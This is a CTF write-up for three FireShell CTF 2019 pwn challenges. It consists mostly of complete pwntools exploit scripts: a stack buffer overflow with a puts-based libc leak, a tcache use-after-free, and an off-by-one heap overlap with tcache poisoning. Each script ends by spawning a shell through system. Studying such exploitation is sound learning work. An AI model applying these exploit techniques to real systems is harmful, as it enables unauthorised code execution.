---
# System prepended metadata

title: FireShell CTF 2019
tags: [2019 pwn challenge]

---

# FireShell CTF 2019
###### tags: `2019 pwn challenge`
## Leakless
simple buffer overflow problem + leak address with puts.plt

```python=
from pwn import *
p = process('./leakless')
elf = ELF('./leakless')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
feed_me = 0x080485CB
sh = 0x0015ba0b

def leak(address):
	payload = 'A'*0x4c + p32(elf.plt['puts']) + p32(feed_me) + p32(address) 
	p.send(payload)
	data = p.recv(4)
	p.recvline()
	return data

leak = u32(leak(elf.got['puts'])) - libc.sym['puts']
sh = sh + leak
log.info(hex(leak))
payload = 'A'*0x4c + p32(leak+libc.sym['system']) + 'A'*4 + p32(sh)
p.send(payload)


p.interactive()


```

## babyheap
Use-after-free vulnerbility, also, the challenge is using libc_2.26, which means it uses tcache.
We can simply overwrite the freed tcache bin with the address of delete, create checks, so that we can have another chance to write.

We also overwrite `atoi.got` with system address, and finally call `atoi("/bin/sh")` to get shell.

```python=
from pwn import *
#p = process('./babyheaptmp', env={'LD_PRELOAD':'/opt/libc_2.26/libc.so.6'})
p = process('./babyheaptmp')
elf = ELF('./babyheaptmp')
libc = ELF('/glibc/x64/2.26/lib/libc-2.26.so')

def create():
	p.recvuntil('> ')
	p.sendline(str(1))

def delete():
	p.recvuntil('> ')
	p.sendline(str(4))
	
def edit(data):
	p.recvuntil('> ')
	p.sendline(str(2))
	p.recvuntil('? ')
	p.send(data)

def show():
	p.recvuntil('> ')
	p.sendline(str(3))

def fill(data):
	p.recvuntil('> ')
	p.sendline(str(1337))
	p.recvuntil('Fill ')
	p.send(data)
	

create()
delete()
edit(p64(0x06020A0))
create()
fill(p64(0)*5 + p64(elf.got['atoi']))
show()
p.recvuntil('Content: ')
libc_base = u64(p.recvline()[:-1].ljust(8, '\x00')) - libc.sym['atoi']
log.info('libc base : ' + hex(libc_base))
system = libc_base + libc.sym['system']
edit(p64(system))

p.recvuntil('> ')
p.send('/bin/sh\x00')
p.interactive()
```

## quotes_list
`edit()` off-by-one results in heap overlap + tcache poisoning => overwrite atoi.got with system

```python
from pwn import *
#context.log_level = 'DEBUG'
p = process('./quotes_list')
elf = ELF('./quotes_list')
libc = ELF('./libc.so.6')

def create(length, content):
	p.recvuntil('> ')
	p.sendline(str(1))
	p.recvuntil(': ')
	p.sendline(str(length))
	p.recvuntil(': ')
	p.send(content)

def edit(idx, content):
	p.recvuntil('> ')
	p.sendline(str(2))
	p.recvuntil(': ')
	p.sendline(str(idx))
	p.recvuntil(': ')
	p.send(content)
	
def show(idx):
	p.recvuntil('> ')
	p.sendline(str(3))
	p.recvuntil(': ')
	p.sendline(str(idx))

def delete(idx):
	p.recvuntil('> ')
	p.sendline(str(4))
	p.recvuntil(': ')
	p.sendline(str(idx))

create(0x68, 'A') #0
create(0x500, 'A'*8) #1
create(0x68, 'B'*8) #2
create(0x500, 'A'*8) #3
create(0x60, '\x00'*0x50 + p64(0) + p64(0x71)) #4

delete(3)
create(0x500, 'A')
show(3)
p.recvuntil(': ')
libc_base = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x3aec41
log.info('libc base : ' + hex(libc_base))

delete(1)

edit(2, '\x00'*0x60 + p64(0x580) + '\x00')
edit(3, '\x00'*(0x500-0x8) + p64(0x71))
edit(0, '\x00'*0x68 + '\x81')
delete(2)
delete(3)

system = libc_base + libc.sym['system']
create(0x600, '\x00'*0x500 + p64(0) + p64(0x70) + p64(elf.got['atoi'])) #1
create(0x68, 'A')
create(0x68, p64(system))

p.recvuntil('> ')
p.send('/bin/sh\x00')
p.interactive()

```